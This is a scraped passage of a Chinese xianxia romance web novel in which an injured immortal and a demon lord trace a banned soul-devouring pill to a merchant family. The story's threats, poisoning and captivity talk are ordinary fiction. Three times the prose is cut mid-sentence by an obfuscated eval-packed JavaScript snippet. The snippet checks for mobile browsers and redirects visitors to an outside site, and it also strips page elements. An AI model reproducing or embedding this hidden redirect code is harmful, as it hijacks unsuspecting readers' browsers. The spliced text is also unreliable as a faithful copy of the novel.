这商铺中的伙计其实早已身亡,凶手用了一种造梦之术让他们以为自己还活着,制造出了一切如常的假象。 “真不嫌折腾。”封烛跟着萧无雪走出小屋,院中那满地的尸身已渐渐开始腐烂,血肉脱落露出森森白骨,“那这起尸又是怎么回事?” 萧无雪低声道:“陷阱。” 以梦境粉饰太平的方式注定不能长久,为了尽可能不被人戳穿,梦境也必须有不能触碰的禁忌。 现在看来,就是噬魂丹。 就像一台精密运转的仪器,噬魂丹作为核心,一旦被人触及,梦境便会启动起尸阵,让对方死在这里。 这也是为何,他们方才分明就在前厅,却丝毫没有察觉到异样。 因为无论是起尸阵,还是众伙计的忽然毙命,都不过是梦境的一部分。 或者说,是陷阱的一部分。 萧无雪回头望向屋内,叹道:“那少年,求生欲望很强。” 只有他突破了梦境的限制,没有让自己沦为活尸,甚至在潜意识中察觉到了危险,试图呼救。 可惜,再强大的法术,也没有办法逆转生死。 萧无雪眸光微暗,忽然被一只手搂过肩膀。 封烛搂着他穿过庭院,神色自然,语调轻松:“走哪儿哪儿死人,看来你暗中调查这事已经被人盯上了啊。要我说干脆别查了,乖乖与我回去治伤,以后有我在身边,谁还能对你动手——嘶!” 身侧一道银光闪过,封烛松手躲避,锋利的匕首紧贴着侧脸划过去,被刀锋削去一缕发丝。 发丝飘摇落地,封烛心有余悸地摸了摸完好无损的侧脸,指责道:“下手这么狠,有你这么对待道侣的?” “是啊,我就是这么对待道侣的。”萧无雪手一松,手中匕首化作一道银光,如游龙般爬上腰际,重新变回了腰封上的银丝云纹。 他冷淡道:“受不了你可以离开。” “不走。”封烛偏头凑过来,没皮没脸道,“我就喜欢你这么对我,你哪天不凶我,我还不习惯。” “……”萧无雪没忍住,“你是不是有病?” “有啊,相思病。”封烛深情款款,“对你思念成疾。” 封烛若真给人当道侣,大概也是那种别人扇他一巴掌,反会被他在掌心舔两下的人。萧无雪张了张口,竟想不出痛骂他一顿之外的回应方式。 他不想再造口业,果断转移了话题:“此间祸事,与我无关。” 封烛眉梢一挑,朝他投来一个“愿闻其详”的眼神。 “万海集市每三个月开市一回,闭市时小洞天入口关闭,无人停留其间,也无人能够进出。”萧无雪道,“从尸体腐烂程度能看出,祸事不是今日发生。” 不是今日,那至少是三个月前。 而三个月前,正好是萧无雪遇袭之后没多久,他甚至还没从伤重中醒来。 封烛摩挲着下巴:“杀人灭口啊……” 萧无雪点点头:“那少年方才提到了黑衣鬼面,与当初在无尽渊埋伏我的人特征一致。凶手应当就是在无尽渊失手后,趁万海集市开市,前来杀人灭口。” 所以,无论萧无雪查与不查,今日的结果都不会改变。 封烛若有所思地蹙起眉,没有接话。 注意到他的反应,萧无雪问:“你想说什么?” “没什么,就是觉得有点奇怪。”封烛道,“你这人仇家无数,在路边喝个酒都能遇上寻仇的,无尽渊那样的事,这些年想必没少发生。” “换做是我,若当真找你报了仇,那必然要大肆宣扬一番,让全天下都知道凌云仙尊败于我手,方可一雪前耻。但无尽渊那批杀手,行事遮遮掩掩,甚至不惜杀人灭口来掩盖线索……” 他微笑起来:“凶手究竟是什么人,就这么怕被你知道真实身份吗?” 萧无雪眸光微动。 封烛注视着萧无雪冰冷沉静的侧脸,一字一句缓慢道:“你离开仙盟的原因,当真是因为记忆全失,只想逍遥人间吗?” . 寒风穿林而过,天边蒙蒙泛起烟青色。 一道素白的身影自秘境外现身,脚步未停,径直朝前走去。 不多时,熟悉的嗓音从身后传来。 “又跑这么快,你这百年修行,难道都用来学习逃生之法了?” 萧无雪头也不回,往身后扔了几道符咒。 符咒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哎——!”封烛连忙追上去,“虽然我现在还没有线索,但不代表以后也没有。你现在伤势未愈,多个人帮你不好吗,何必一意孤行……阿霁?阿霁!你我相识,不对,你我相恋一场,你怎么这般不留情面!” 男人步履轻快,不紧不慢跟在萧无雪身后,高昂的嗓音在晨曦寂静无声的树林中回响。萧无雪忍无可忍,猝然转身,险些撞上封烛胸膛。 他一把将人推开,咬牙道:“我没有与、你、相、恋!” 封烛顺势去握他的手,声音温柔如水:“你只是失去记忆罢了,别担心,我们慢慢来,会想起来的。” 萧无雪:“……” 萧无雪修行百年,自认已修得心如止水,不会再为外物左右。可偏偏对上这人,再好的定力都仿佛喂了狗。 他嘴唇紧抿,被人攥在掌心的手凝起剑意,指间泛出寒光。 封烛连忙松手:“冷、冷静点!不是还要用本命剑再现遇袭时的场景吗,这时候出剑,线索可就没了。” 萧无雪眸光冰冷,面容森寒。 “好了,干嘛这么生气。”封烛话音又放软了些,“我是真心想帮你,你怎么就是不信呢?实不相瞒,我这人运气很好的,让我与你一起调查,说不定什么时候就能找到新线索——” 周遭一阵风过,封烛倏然止了话音。 凌乱的脚步声紧随而至,十余道身影从林中各处现身,将二人团团围住。 二人面前,衣着华贵的男子从人群后方走了上来。 竟是先前在秘境入口对萧无雪出言不逊的那名年轻男子。 男子脱臼的手臂已经被接好,身上的酒气也散得七七八八,取而代之的,是周身难以抑制的阴邪之气。 “美人,我等你好久了。”男子冷笑道。 萧无雪:“……” 封烛:“……” 那是挺久的,天都快亮了。 “怎么不说话,害怕了?”男子眼底闪动着暗紫色的异样光芒,衬得笑容阴邪而狂妄,“害怕就对了,都说这噬魂丹效用极妙,今日一试,果真不同凡响!” “……”萧无雪试探问,“你的药,是在万海集市买的?” “当然不是!”男子得意道,“我褚家世代做丹药生意,要什么药找不到,别人找我买还差不多!” 萧无雪:“……” 萧无雪沉默许久,转头与封烛对视一眼。后者神情也有片刻空白,随后忍俊不禁一般,朝萧无雪耸了耸肩。 ——看吧,我就说我运气很好。 线索这不就来了? 5. 第 5 章 自仙盟成立以来,修真界空前繁盛,涌现出大大小小的仙门世家。 这褚家,萧无雪还真听过。 褚家乃江都富商,以灵材丹药生意发家,与各大仙门甚至仙盟都有生意往来。但较为特殊的是,褚家祖上其实并未出过任何修真大能,哪怕时至今日,褚家门下弟子也多是医修与丹修。 他们最擅长的,除了凝丹炼药之外,便是与人做生意。 据说,褚家先祖最初就是个药贩子,修为低微,无权无势,却靠着倒卖灵材丹药一步步打下基业。修真界素来以武力为尊,褚家能有今日的地位,在整个修真界都算是一桩奇闻。 商人重利,他们会牵扯进噬魂丹的生意,倒是不奇怪。 “……你是说,你也不知道这药的来源?”封烛踩着男子的胸膛,悠悠问道。 身后不远处,一干打手尸横满地。 “千、千真万确!”男子瑟缩在封烛脚下,整个人狼狈不堪,就连声音都带了哭腔,“家里的生意都是我爹和大哥在管,药是我从库房偷来的,就只偷了几枚,想用来赚点钱……我真的不知道……” 褚家二少爷褚元丰,仗着家中长辈宠爱,在整个江都城都是出了名的纨绔。此番偷偷来极乐城倒卖丹药,终于为他的肆意妄为付出了代价。 封烛询问般望向萧无雪,后者一言不发,走到褚元丰身旁蹲下。 他凝视着褚元丰眼底尚未消散的阴邪之气,低声道:“我一直觉得很奇怪,噬魂丹原本已近乎绝迹,为何忽然又在民间盛行。” 封烛轻描淡写回应:“难道不是仙盟内部出了奸细,私藏魔骨,重新炼药?” 这指控若被旁人听去,必然掀起轩然大波。 萧无雪却未置可否。 他抬手一挥,给褚元丰施了道隔音法术,才问:“你可知道,当初仙盟是如何遏制噬魂丹盛行的?” 封烛自然是不知道的。 当年他被萧无雪一剑毁去灵根,是结结实实去鬼门关走了一遭。噬魂丹在中原修真界盛行之时,他还关在魔域辛辛苦苦重塑根基。 萧无雪很快给了他答案:“仙盟没能做到。” 封烛蹙起眉。 “提升修为的丹药在修真界虽然珍稀,但并不罕见。当世已知等阶最高的灵丹,应当是我师尊怀鹤仙君炼制出的九转洗髓丹,功效是洗髓筋骨,能让渡劫期修士的修为瞬间达到鼎盛,顺利突破渡劫。” 中原正道功法共有七大境界,从筑基开始,分别要经历金丹期,元婴期,化神期,合体期,大乘期,渡劫期。 突破渡劫期,便能修成半步金仙之身。 自怀鹤仙君坐化后,仙盟三尊,就是当世仅存的三位半步金仙。 修行境界越往上便越困难,到了渡劫期,突破更是九死一生。能让人顺利突破渡劫的丹药,的确是世间至宝。 封烛敏感地一偏头:“你为何这么清楚,你用过?” 萧无雪抬起头,封烛眼也不转,好奇与他对视。 萧无雪:“……卷宗里看来的。” 封烛毫不意外地“噢”了声:“你继续。” “一切灵丹仙药,对修为的提升都是有限的,那是因为它们受制于肉身极限。换句话说,哪怕是供渡劫期修士服用的丹药,也只能将修为提升至渡劫期鼎峰。” 萧无雪顿了顿:“噬魂丹却并非如此。” 噬魂丹无视修为境界的限制,哪怕一名普通的筑基修士,也能使出超过金丹期的力量。 这对于修真者来说,是前所未有的诱惑。 强者渴望更强,弱者渴望越级致胜的机会,噬魂丹一经问世,所有人都为追求此物陷入癫狂。那段时间,修真界内斗无数,几近失控,就连仙盟的存在也岌岌可危。 那种情形下,初建立的仙盟根本不可能控制得住。 封烛问:“那后来又是怎么控制的?” 萧无雪道:“反噬。” 提升修为的丹药鲜少像噬魂丹这样有时效限制,这或许也是噬魂丹能短暂突破肉身极限的原因。但以凡人之躯承受不属于自己的力量,哪怕只是片刻,仍会对身体造成难以逆转的损害。 几乎没过多久,便出现了因服用噬魂丹爆体而亡的修士。 为求力量枉顾性命的人毕竟是少数,服药会遭反噬的消息传开后,修真界对于噬魂丹的追捧渐渐冷却。仙盟借机介入,销毁了大批丹药,并将此物列为禁药,才造就了今日的局面。 封烛若有所思地摸了摸下巴。 如果是这样,事情就没那么简单了。 萧无雪与褚元丰今日不过是第一次见面,就算再有冲突,也不至于让这养尊处优的小少爷用上有致命危险的丹药。 谁会把药用在这么无聊的事情上? 萧无雪忽然道:“你来探他的灵脉。” 封烛知道他意欲何为,但并没急着动,还微笑起来:“方才不还嫌我没用吗?” 萧无雪仰头,面无表情看向他。 场面短暂僵持。 “好好好,别撒娇。”封烛无奈似的,“听你的就是了。” 萧无雪:“……” 他、没、有。 话说得勉强,但封烛心情似乎不错,他将萧无雪拉起来,道:“你躲远些,一会儿叫你。” 萧无雪不明所以:“我为何要躲?” “你那伤……”封烛顿了下,“我要是运功,你不是会疼吗?” 萧无雪一怔。 魔息其实是个很难隐藏的东西,那是魔族与生俱来之物,修行、运功、甚至情绪变化,都会使得魔息波动。据萧无雪所知,甚至许多成年魔族都很难做到完全隐藏魔息。 但无论是方才在万海集市应对那起尸阵,还是如今对付褚元丰带来的这些打手,封烛都不曾显出丝毫魔息。 他……是在顾及他的伤势? 萧无雪眸光微动:“你……” 封烛微笑着点点头,温柔道:“嗯,夫君是心疼你,是不是很感动?” 萧无雪垂在身侧的手用力握紧,骨节发出一声脆响。 两人对视片刻,封烛笑意稍有收敛:“真不走?” “不走。”萧无雪冷声道,“别浪费时间。” 封烛眼底闪过一丝异色,像是还想再说什么,但最终忍住了。他踩着褚元丰的胸膛,倾下身去,在对方茫然而惊恐的视线中隔空探向眉心。 魔族浓烈的魔息瞬间爆发出来。 萧无雪呼吸一滞,竭力咽下一声闷哼。 受伤至今,这还是他头一次直面如此浓郁的魔息。那感觉犹如被无数烧红的尖刀刺入身体,脆弱的经脉被魔息牵动,寸寸爆发出炽烈的剧痛。 萧无雪牙关紧咬,手撑在身旁的树干上,艰难运功抵御。 不知过去多久,体内肆虐的剧痛才终于缓和。 萧无雪呼吸一松,被人从身后搂住。 一样东西强硬地塞进了他嘴里。 萧无雪尚未从那剧痛中缓过神来,本能挣扎。 “含着。”封烛轻轻捂住萧无雪的嘴,搂着对方的双臂温柔却不可抗拒,“含着能舒服一些。” 清甜的滋味在口中蔓延,萧无雪恍惚一下,后知后觉明白封烛给他喂了什么。 是饴糖。 紧绷的身躯不自觉放松下来,萧无雪头向后仰,后脑枕在对方坚实的胸膛上,修长的脖颈如冷玉般润泽,随急促的呼吸战栗不止。 那是个完全卸下防备的姿势,但萧无雪疼得厉害,对此毫无察觉。 片刻后,萧无雪呼吸渐渐平复,封烛垂眸注视着他,伸手想替他拭去颊边的冷汗。 萧无雪偏头没让他碰,顺势从他怀里挣脱出来。 “探……咳咳——”萧无雪掩口轻咳两声,哑声问,“探出什么了?” 封烛脸上所有的戏谑与调笑都消失了,他沉沉望向萧无雪,眼底仿佛带着某种极为深沉的情绪,又像是在抑制某种冲动。 少顷,他移开视线,冷硬答道:“这药,也强化了他的肉身。” 服用噬魂丹会遭反噬,本质是因肉身无法承受过于强大的力量。所以,只要将肉身也强化到相应境界,自然能够避免反噬发生。 褚元丰服用的噬魂丹便做到了这一点。 它被人改良了。 这才是噬魂丹重新问世的原因。 萧无雪没有表现出诧异,继续问:“还有呢?” 封烛古怪地迟疑片刻,才道:“他体内的气息与魔族功法不同,但……似乎同源,可能是某种失传秘术。” 萧无雪无声地舒了口气,心道:“果然。” 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甚至就连噬魂丹的存在,他也是前不久才刚知道。 噬魂丹毕竟是仙盟禁药,褚家就算得了此物,也不可能四处宣扬。褚元丰只知道,在得到噬魂丹后,他爹和大哥曾偷偷派人试药,确定此药经由改良,能够强化肉身筋骨,使人免遭反噬。 至于这批药为何一直封存在库房,迟迟没有出手,他就不得而知了。 褚元丰彼时刚因博戏欠下大笔钱财,不敢找家里要钱,听说了这些后,便打起了噬魂丹的主意。 于是才有了今日之事。 萧无雪是顺着噬魂丹的线索来到北疆,如今线索已断,无论如何都有必要去一趟褚家。 他本打算立即带褚元丰南下,谁料封烛却不同意,执意要先回一趟极乐城。 还逼着萧无雪与他一道去。 “你当然要与我同行。”封烛义正辞严,“你难道不想知道噬魂丹与魔族秘术究竟有什么联系?没了我,你去哪里再找个愿意给你提供线索的魔族?” 萧无雪无言以对,只能跟着他回了极乐城。 然而…… “这就是你说的万分紧要之事?” 萧无雪站在极乐城最豪华顶尖的客栈客房内,神情颇有些一言难尽。 “自然。”封烛四下打量着客房,满意地点点头,才道,“此地距江都千里之遥,你我一夜未曾合眼,难道不该在出发前养精蓄锐,先休息一天?” “……” 他们一个半步金仙,一个天魔之躯。 休息。 萧无雪将视线落在封烛身上,开始思考直接把人打晕带走的可能性。 仿佛知道他在想什么,封烛心平气和道:“别冲动,且不说你现在打不打得过我,与我在这里打起来,对你也没好处,不是吗?” 萧无雪:“……” 就像封烛不希望自己身份暴露,不希望别人知道魔族已经踏足中原,萧无雪也不愿看到这件事发生。 萧无雪收回目光,算是默认了这个说法。 封烛心满意足,还想再说什么,萧无雪忽然道:“所以,之前也是担心被人发现身份。” “嗯?” 这话有点没头没尾,封烛一时没听懂。 他反应了一会儿,才明白过来。 萧无雪说的是他之前御敌时没有运功的事。 不显露魔息,是不想被人发现身份,而不是为了他。 封烛稍愣片刻,失笑道:“你很在意这件事吗?” 萧无雪不假思索:“没有。” 他又补充:“只是不相信你的鬼话。” 封烛想也不想地反问:“如果不是鬼话呢?” 萧无雪定定注视着他,俊美的容颜苍白而平静。 二人对视片刻,封烛妥协似的叹了口气:“好吧,好吧,那就当做是我的鬼话。” 他推着萧无雪走到床边,按着他坐下,又道:“你好好休息,我去看看我们那位褚家小公子。不就是断了条手臂,不会还在哭吧?” 他转身出了客房,直至走廊尽头才顿住脚步。 有点无奈,又有点埋怨般低声叹道:“真是个不解风情的木头……” 6. 第 6 章 萧无雪的确有些疲惫。 自离开仙盟后,他就一直在暗中调查噬魂丹的线索,从汴京到北疆,几乎不曾停歇。 仙身无需睡眠,但还是需要休息的。 何况,旧伤带给他的消耗,比他想象中还要大。 封烛恐怕是看出了…… 门外的脚步声渐渐远去,萧无雪按了按眉心,停下某些无意义的猜测。 他没睡那铺了红绸挂了纱帐,布置得活像洞房花烛夜的软帐床,起身走到窗边的坐榻旁,盘膝静坐入定。 …… 萧无雪与封烛是在百余年前相识的。 那时候,正魔大战尚未开始,魔族居于北域魔窟之中,两族间虽屡有摩擦,但并无大范围冲突。 萧无雪是在一次除妖后,遇到了那位自称来人间玩乐的魔族少主。 当然,那时他们彼此都还不知晓对方的真实身份。 那是一个瓢泼雨夜,萧无雪在除妖时受了伤,无法御剑,被迫在山中寻了间破庙避雨。 又因为伤重,昏昏沉沉陷入了半昏迷。 再醒来时,便见到了封烛。 百年前的封烛模样与现在并无太大变化,但行为举止比现在更加不羁。他支着下巴蹲在地上,眼也不转地望着萧无雪,也不知看了多久。 萧无雪下意识要去摸剑,对方却只是微笑着悠悠开口:“美人,你难道不知道,在这种荒郊野岭睡着是件很危险的事吗?” 他故作担忧:“要是遇见了采花贼可怎么办?” 萧无雪:“……” 萧无雪自幼在昆仑清修,从未见过说话如此轻浮之人,一时竟不知该如何回应。 他果断不理,起身想走。 刚撑起身,脑中却一阵晕眩。 “别乱动,你在起烧。”封烛道,“伤你那东西多半带毒。” 破庙外雨声淅沥,风雨驱散了夏夜的潮闷,却带不走萧无雪身上反常的热度。 修长的脖颈被鲜血染红,两个小小的血洞已经泛起黑紫。 男人的视线在他伤处打量一会儿,又慢慢上移,望向萧无雪因高热而微微发红的眼尾。 他轻佻地笑起来:“你求求我,我就帮你把毒血吸出来,如何?” 说完这话,萧无雪就对他拔了剑。 彼时的萧无雪尚未突破渡劫,没有修成仙身,但已是中原修真界数一数二的人物。他带着妖毒,修为大损,仍险胜了封烛半招。 凌云剑横在年轻魔族脖颈间,封烛似乎有些诧异:“不杀我?” 萧无雪道:“你未出全力。” “那是不敢的。”封烛对自己的身份毫不避讳,坦诚道,“我们魔族在江湖行走,当然得低调些,要真出了全力,不得把附近的修真者都引来?” 萧无雪蹙了眉:“这么说,你不想与正道仙门起冲突。” 封烛:“自然。” 萧无雪:“我也是仙门中人,你又为何要来招惹我?” “美人,你这可冤枉我了。”封烛睁大眼睛,神情颇为无辜,“外头下这么大的雨,我不过途经此地,进来避雨,谁知你会在此昏迷不醒?我担心你的安危,刚上前看两眼,就被你提剑打了一顿。我这委屈又该朝谁说去?” 萧无雪当初还没见识过这人颠倒黑白的本事,稍愣了下,将信将疑收了剑。 “抱歉。”他低声道。 “没关系。”封烛宽宏大量地笑了笑,“我捡回家的小野猫刚开始也挠人,不碍事,养养就熟了。” 萧无雪:“……” 封烛又问:“真不用我帮你把毒血吸出来?” 萧无雪已经不太想与他说话了,但又觉得自己这样有违君子礼数,不冷不热道:“那妖物已死,残留的妖毒不足为惧,调息几个时辰即可。” 封烛点头:“那你调息吧,我给你护法。” 萧无雪:“……” “信不过我?”封烛直接点明了他的想法,“实不相瞒,在下平生最为古道热肠,乐于助人,尤其见不得美人受伤。放心吧,我不会对你做什么的,我要真想做什么,何须等到现在?” 说完这话,封烛当真走到一旁抱臂而立,规规矩矩做起了护法。 萧无雪不敢轻信于他,但也实在无力冒雨离开,只能一边怀疑警惕,一边打坐调息。可直到余毒全清,伤势痊愈,朝霞破云而出,封烛都没有再动一下。 萧无雪为自己的多疑感到惭愧:“多谢阁下。” “不谢,能为美人效劳,在下乐意之至。”封烛慢条斯理活动着脖颈,又长叹一声,“不过守了一整夜,确实有些疲惫……你请我喝酒吧!” 萧无雪:“……” “我不会饮……” 他话还没说完,被封烛顺势搂过肩膀,携着往外走去:“听说这山脚城镇的桂花酿远近闻名,我就是特地为它来的。可惜,我没有凡间的银两,店家说什么都不肯赊我一点,把我给赶出来了。” “……”萧无雪妥协道,“我请你就是。” 封烛:“兄台果真是大好人,人美心也善!” “对了,我姓封,你唤我十七就好。兄台怎么称呼?” “……云霁。” 萧无雪从入定中睁开眼。 今日是个好天气,极乐城雪后初晴,一束阳光透过窗户洒在萧无雪身前,竟让这布置得穷奢极侈的客房也显出一派静谧。 萧无雪注视着阳光中浮动的尘埃,难得有些怔然。 自修成仙身以来,萧无雪其实很少入睡,更几乎不曾做过梦。此番多半是故人相见,竟难得梦见了当年与封烛初见时的情景。 遇见封烛之时,他其实已在昆仑修行了近两百年,并非那不谙世事的少年。但或许是因那些年他非除妖从不下山,师尊也不允许他与旁人打交道,竟轻易相信了封烛的花言巧语,被他哄骗去了民间。 并最终与他同行了近半年时间。 半年,在他漫长的人生中短得不值一提,但的确是他生命中极为特殊的一段时光。 那半年,他第一次饮酒,第一次品尝民间珍馐,第一次策马奔腾,览尽世间的广阔山水。 无忧无虑,肆意妄为。 可惜,一切都不过是黄粱一梦。 半年后,封烛被召回魔窟,一去就去了数年。在那之后,魔族掀起战事,萧无雪作为修真界领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775856|157898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导者之一,在战场上重新遇见了封烛。 正魔不两立,过往的情谊左右不了战局,最终让他们走向了那场生死决斗。 没有爱恨纠缠,没有旧情难忘,不过是本就不该有交集的两个人,偶然相遇,留下了些不值一提的过往。 往事如烟,聚散无痕。 终不似,少年游。 萧无雪长舒一口气,正欲再次运功入定,余光忽然瞥见远处的桌上多出一样东西。 那是一盘形状绵软浑圆,撒了糖霜的白色糕点。 . 这极乐城根本找不到什么正经住处,大多客栈都与酒楼妓馆没两样。白日还能讨个清净,等到夜幕降临,檐下的琉璃仙灯接连亮起,客栈内便随处可见寻欢作乐之徒。 供人饮酒听曲的雅间内,一面水光镜浮于半空,镜中映出一高一矮,面容极其相似的两道身影。 “……本座辛苦将你们送去中原,这么久了,竟然什么也没查到?”封烛斜倚在软榻上,低声道,“废物。” “尊上恕罪。”少年清亮的嗓音从镜中传出来,“自从凌云仙尊受伤,汴京的守卫愈发森严,我们……我们担心暴露身份,所以……” “这也不能怪我们呀,尊上。”他的身旁,身形娇小的少女接了话,“萧无雪早离开汴京了,也不知那群正道狗究竟在防什么,前日我和阿辰夜里出去调查,还险些被人发现——” “阿星。”少年低声制止,“是我们修炼不精,别再提了。” 封烛没有理会。 他慢慢给自己斟了杯酒,才道:“罢了,原本也没指望你们能成什么大事。本座要去中原一趟,你们就留在汴京等消息,仙盟若有任何异动,及时联络本座。” 二人:“是。” 二人领了命,却没有立即离开。镜中少女犹豫片刻,小心翼翼问:“尊上,萧无雪真的失忆了吗?” 提起这个名字,封烛动作一顿,眼底露出一点笑意:“谁知道呢。” “可他要是没失忆,为何要从汴京跑出去?”少女疑惑不解,“他与尊上这般深仇大恨,难道就不怕尊上找他报仇?” 封烛不置可否,仰头饮了口酒。 “听闻凌云仙尊手段了得,说不准是故意试探。”少年小声说出了自己的想法。 少女恍然:“原来如此!” “要我说,反正仙盟最近自顾不暇,尊上又魔功大成,直接将人掳进魔域好了,何必顾虑这么多。”少女说话口无遮拦,“到时将人往血池一关,再灌上魔药,任他修为再高,不也只能乖乖听尊上的?” “阿星……” “我又没说错!”少女道,“我最讨厌正道那副道貌岸然的模样,尤其是萧无雪,害得尊上险些丢了性命,杀他都是便宜他了!就该把他关进魔域,好生调教一番,让他再也离不得——” 封烛眸光一抬。 镜中少女连忙闭了嘴。 屋内霎时陷入沉寂,封烛的视线落在镜中二人身上,神情淡淡,不知在想什么。 “本座要怎么做,何时轮得到你们插嘴?”半晌,他沉声开口,“朗辰,管好你妹妹,再有下次,本座割了她的舌头。” 7. 第 7 章 夜色渐深,客栈内却愈发热闹。 封烛拎着壶酒踏上木梯,面无表情穿过无数当众纠缠的男男女女,以及试图上前与他搭话的妓子小倌,在一间客房门外站定。 屋内亮着烛灯,隐约可见一道映在窗边的清丽侧影。 封烛盯着那侧影看了一会儿,用力推开门:“阿霁!看我给你带什么来了!” 看清屋内的光景后,却是一怔。 萧无雪在窗边的小榻上盘膝而坐,周身浮动着明净柔和的淡金色光芒。他阖着眼,左手缠着一串黑檀佛珠,伴随口中的轻声念诵,用指腹轻轻拨捻。 这里不是什么正经客栈,客房内的布置自然也与寻常客栈不同。 空气中飘散着甜腻的熏香,地面铺了松软的地毯,鲜红的纱帐从上方垂下,欲盖弥彰地挡住那足能容下三四人同寝的大床。 红烛绸缎交织成一片纸醉金迷,可在这红尘软帐间,却偏偏多出一位庄严慈悲的白衣仙人。 清冷如月,不染纤尘。 ——“就该把他关进魔域,好生调教一番,让他再也离不得尊上……” 少女清亮的嗓音再次在脑中响起,封烛呼吸一沉,猝然移开视线。 其实这话不无道理。 无论出于什么缘由,萧无雪若能受制于他,对局势都是有利无害的。 他如今伤势未愈,受不得魔息,哪怕只要一点点,都能让他疼得站不稳。 让他任人施为,让他无从抵抗。 封烛喉头滚动一下,闭了闭眼,体内汹涌的魔息尚未爆发,便被另一股更为强悍的,名为理智的力量生生压抑回去。 不行。 还不是时候。 他极轻、极缓地吐出一口气,伴随着这个动作,紧绷的神色舒展开来。英俊的脸上重新浮现起那堪称温和的笑意,封烛轻轻合上门,走到小榻边。 萧无雪轻声念诵着经文,仿佛无知无觉。 魔族是不可能对民间神佛有什么敬畏心的,身为北域魔尊的封烛更是如此。他撩开衣摆,在榻边坐下,撑着头,一边欣赏,一边慢慢饮酒。 不知过去多久,念诵声止,萧无雪终于睁开眼。 “你在看什么?”他问。 “看你啊。”封烛毫不掩饰那赤裸的眼神,笑着问,“你这是做什么呢?” “超度。”萧无雪将佛珠慢慢缠回腕间,乌黑的佛珠在腕骨上绕了三圈,衬得肤色更加冷白,“我答应了那个少年。” 萧无雪身量不低,也绝非少年人那般单薄的身形,但那双手对魔族来说还是太过瘦弱了。纤细的腕骨不堪一握,稍稍施力,仿佛就能轻易折断。 但封烛知道,其实并不是这样。 那双手极为有力,挥剑御敌时姿态凌厉而漂亮。正如他们初遇那个雨夜,身中妖毒,烧得站都站不稳的凡人剑修,持剑站在他面前,爆发出了难以想象的力量。 封烛的视线在那皓白的腕骨上略微一凝,若无其事收回目光:“可你不是剑修吗,何时修起佛来了?” 萧无雪:“我不曾皈依,不算修佛,不过修个六根清净,名为清净道。” 封烛奇了:“你从小就活得像个和尚,六根哪里不净?” “不是这个意思……罢了。”萧无雪道,“与你多说无用。” 他起身朝外间走去,封烛紧随其后:“我不知道,你告诉我不就成了?你以前不是不愿入道吗,还因为这样,花了许多年都无法突破渡劫。如今修成了仙身,为何反而入了道?” 修习正道功法,并非一定要入道。 修真者会选择入道,除了本身对道有自己的追求外,大多时候,其实是为了寻个目标。所谓修真悟道,道,是修行路上的指引,也一切修行的终点,参透了道,便能通晓天地,更有机会坐化飞升。 那是大部分修真者毕生的梦想,但并不是唯一一条路。 曾经,萧无雪是不愿意踏上那条路的。 但究竟是为什么,萧无雪当初不肯多说。 “阿霁。”封烛迈着一双长腿轻易越过萧无雪,侧身挡在他身前,含笑问,“到底怎么回事,你与我说说呗?” 萧无雪抬眼与他对视,平静道:“不记得了。” 封烛:“……” 失忆这理由还怪好用的。 封烛一时哑然,萧无雪在桌边坐下,正欲给自己倒杯茶,看见桌上的东西,却又顿住。 原本摆放在桌上的糕点已经没了,只在瓷盘底部留了些许白色碎屑。 封烛自然也注意到了,轻笑一声:“还六根清净呢,把我的糕点吃得一干二净……连口腹之欲都没戒掉,算不算破了道?” “不算。”萧无雪面不改色,“而且,不是我吃的。” 封烛:“嗯?” 萧无雪继续给自己倒茶,淡声道:“下午客栈外来了个小乞丐,我将糕点分给他了。” 封烛笑容一僵。 他仔细看了萧无雪的神情,见对方神态自若,不像撒谎,才咬牙问:“你真给别人了?” “自然。”萧无雪看他一眼,只觉得莫名其妙,“有这么生气?你若介意,我可以赔你些银两。” “你——!” 封烛气急,想说什么又生生止住,神情几番变化,最终只是闷闷不乐道:“罢了,我就多余对你这木头好。” 萧无雪微微蹙眉,有些不满对方的用词。 但他深知对付封烛,就不能太计较对方的胡言乱语,否则只会让他越发来劲。 他没再理会,不紧不慢饮完了茶,才问:“我们何时动身?” 封烛还在赌气:“动身去哪儿?” “江都,褚家。”萧无雪耐心道,“你不是来叫我出发的?” “现在已经亥时了。”封烛难以置信,“谁会大晚上赶路,你们仙盟都这么不把人当人的吗?仙盟弟子真不会被压迫到造反吗?” 萧无雪:“……” “不会。”萧无雪正色道,“能被选入仙盟之人,都是各大仙门的佼佼者,都很刻苦努力。” 他平静补充:“自愿的。” “嗯嗯,犁地的牛也是自愿的。”封烛夺过萧无雪手里的杯子,将杯底的茶水随手一泼,换酒斟上,“安心歇着吧,我与褚公子商量好了,明日一早出发。” “——尝尝,特地给你买的,肯定比你昨儿喝的那家酒好。” 萧无雪没接他递过来的酒,问:“商量?” “商量。”封烛在这两个字上加重了语气,耐心解释道,“褚公子一片赤诚,为了感激我治好他的断臂,答应写信回褚家,让褚家派仙舟来将我们亲自接去江都,以示最高的待客礼数。” “……”萧无雪良久无言,“你知道我们这是暗中调查,不可打草惊蛇吗?” “知道啊。”封烛微笑着继续道,“所以我给褚元丰下了蛊,每三日要吃一颗解药,如果敢动任何手脚,便让他七窍流血而亡。我还告诉他,待他死后,我会把他家私藏噬魂丹之事上报仙盟,让仙盟抄了他家祖产,再将他全家扒皮拆骨,挂在城门示众三天三夜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 